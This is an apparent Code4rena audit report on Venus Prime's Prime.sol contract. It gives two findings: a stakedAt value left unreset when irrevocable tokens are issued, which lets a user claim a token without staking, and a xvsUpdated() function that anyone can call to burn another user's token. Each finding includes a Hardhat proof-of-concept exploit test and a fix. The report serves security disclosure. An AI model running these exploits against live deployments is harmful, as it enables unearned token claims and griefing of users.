Venus Prime - deth's results

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/b11d9ef9db8237678567e66759003138f2368d23/contracts/Tokens/Prime/Prime.sol#L339-L342

Vulnerability details

Impact

Whenever a new Prime token is created, the users stakedAt is reset to 0. This happens when the user claim a revocable token and when he is issue a revocable token, but it does not happen when a user is issue an irrevocable token.

This is issue()

function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    // We don't reset here.
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }

                unchecked {
                    i++;
                }
            }
        } else {
            for (uint256 i = 0; i < users.length; ) {
                _mint(false, users[i]);
                _initializeMarkets(users[i]);
                
                // We reset stakedAt here
                delete stakedAt[users[i]];

                unchecked {
                    i++;
                }
            }
        }
    }

We can see that when a revocable token is issued and minted the user's stakedAt is reset to 0. Whenever a user's token is upgraded, his stakedAt has already been reset to 0 inside claim.

function claim() external {
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();
        
        // We reset stakedAt here
        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

The is only one time when we don't reset the user's stakedAt and it's when he is issued an irrevocable token.

Let's see an example and see why this is a problem:

1. Alice deposits 10k XVS.
2. The protocol/DAO/admin decides to issue Alice an irrevocable prime token, because she deposited such a large amount of tokens. Keep in mind that the 90 day staking period still hasn't passed and her stakedAt is the original time that she deposited 10k XVS.
3. Time passes and Alice decides to withdraw her entire XVS, so now she has 0 XVS. Her token isn't burned as she has an irrevocable token.
4. Even more time passes and the protocol/DAO/admin decides to burn Alice's irrevocable token because she is inactive.
5. EVEN more time passes and Alice returns to the protocol and instead of depositing anything, she calls claim. Her tx goes through, since her stakedAt wasn't reset to 0 when she got issued her irrevocable token.

This way, Alice claimed a revocable token without having any XVS staked in the contract.

Proof of Concept

Add the following line at the top of tests/hardhat/Prime/Prime.ts. We'll use this to simulate time passing

import { time } from "@nomicfoundation/hardhat-network-helpers";

Paste the following inside tests/hardhat/Prime/Prime.ts and run npx hardhat test tests/hardhat/Prime/Prime.ts.

it.only("User can get Prime token without any XVS staked", async () => {
      // User1 deposits 10k XVS
      await xvs.transfer(await user1.getAddress(), parseUnits("10000", 18));
      await xvs.connect(user1).approve(xvsVault.address, parseUnits("10000", 18));
      await xvsVault.connect(user1).deposit(xvs.address, 0, parseUnits("10000", 18));
      let userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress());
      expect(userInfo.amount).to.eq(parseUnits("10000", 18));

      // Venus decides to issue an irrevocable Prime token to User1 for staking such a large amount.
      // Note that the 90 day staking period still hasn't passed
      await prime.issue(true, [user1.getAddress()]);
      let token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(true);

      // User1 withdraws her entire balance XVS
      await xvsVault.connect(user1).requestWithdrawal(xvs.address, 0, parseUnits("10000", 18));
      userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress());
      expect(userInfo.pendingWithdrawals).to.eq(parseUnits("10000", 18));

      // User1's Prime token gets burned by protocol
      await prime.burn(user1.getAddress());
      token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(false);
      expect(token.isIrrevocable).to.be.equal(false);

      // 100 days pass
      await time.increase(8640000);

      // User1 can claim a revocable Prime token without any XVS staked, because his stakedAt wasn't reset to 0
      expect(prime.stakedAt(await user1.getAddress())).to.not.be.equal(0);

      await prime.connect(user1).claim();
      token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);
    });

If you are having trouble running the test, this change might fix it. Inside Prime.sol, burn() remove the access control from the function. This doesn't change the attack and the test outcome.

function burn(address user) external {
        // _checkAccessAllowed("burn(address)");
        _burn(user);
    }

Tools Used

Manual review Hardhat

Recommended Mitigation Steps

Reset the user's stakedAt whenever he is issued an irrevocable token.

function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                    delete stakedAt[users[i]]; 
                }
          ...

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/b11d9ef9db8237678567e66759003138f2368d23/contracts/Tokens/Prime/Prime.sol#L365-L382

Vulnerability details

Impact

issue() is used by the protocol to issue both revocable and irrevocable tokens to users manually. Using issue(), users don't have to lock up any XVS and don't have to wait 90 days for the stake period to pass to get their Prime tokens. Keep in mind that the sponsors have stated that there is no clear criteria yet for issuing tokens directly.

In my mind there can be several scenarios when someone might be issued a revocable token.

1. User provided some service to the protocol and got rewarded with it.
2. The protocol might decide to issue some tokens initially to some users for whatever reason.
3. The protocol wants to test something and issues it directly so they don't have to stake any XVS and wait 90 days. Again these are hypotheticals, since there is no clear definition of when a revocable and irrevocable tokens are supposed to be issued.

The actual issue though, lies in xvsUpdated() and the fact that it doesn't have any access control. Note: The comment above the function states that this function is executed by the XVSVault whenever the user's balance changes.

/**
* @notice Executed by XVSVault whenever user's XVSVault balance changes
* @param user the account address whose balance was updated
*/
function xvsUpdated(address user) external { 
        uint256 totalStaked = _xvsBalanceOfUser(user);
        bool isAccountEligible = isEligible(totalStaked);

        if (tokens[user].exists && !isAccountEligible) {
            if (tokens[user].isIrrevocable) {
                _accrueInterestAndUpdateScore(user);
            } else {
                _burn(user);
            }
        } else if (!isAccountEligible && !tokens[user].exists && stakedAt[user] > 0) { 
            stakedAt[user] = 0;
        } else if (stakedAt[user] == 0 && isAccountEligible && !tokens[user].exists) {
            stakedAt[user] = block.timestamp;
        } else if (tokens[user].exists && isAccountEligible) {
            _accrueInterestAndUpdateScore(user);
        }
    }

Now let's imagine the following scenario:

1. Alice is issued a revocable token. (based on one of the hypotheticals above).
2. Alice has no XVS staked currently on Venus, meaning she technically isn't eligible to hold the token.
3. Bob, being malicious, calls xvsUpdated() with Alice's address.
4. Since xvsUpdated() has no access control and can be called by anyone, the tx goes through.
5. tokens[user].exists is true, but since Alice has no XVS staked, isAccountEligible is false and we go into the first if block.
6. Alice's token is revocable, so tokens[user].isIrrevocable is false and we go into the else block where we burn the token.

This attack is especially easy and cheap on chains with very low gas fees such as Arbitrum.

Proof of Concept

Paste the code below inside tests/hardhat/Prime/Prime.ts and run npx hardhat test tests/hardhat/Prime/Prime.ts.

it.only("if user has no stake and a revocable token is issued to him, someone can grief him and burn his token", async () => {
      // Alice gets issued a revocable token
      await prime.issue(false, [user1.getAddress()]);

      // Token is exists and is revocable
      let token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);

      // Bob calls xvsUpdated and passes Alice's address to grief her and burn her token.
      await prime.xvsUpdated(user1.getAddress());
      token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(false);
      expect(token.isIrrevocable).to.be.equal(false);
    });

Tools Used

Manual review Hardhat

Recommended Mitigation Steps

Add access control to xvsUpdated() so that only the XVSVault can call it, as stated in the comments above the function. There is already similar logic inside PrimeLiquidityProvider.sol#releaseFunds():

 function releaseFunds(address token_) external {
        // We check if the Prime contract is calling this function
        if (msg.sender != prime) revert InvalidCaller();
...

Assessed type

Access Control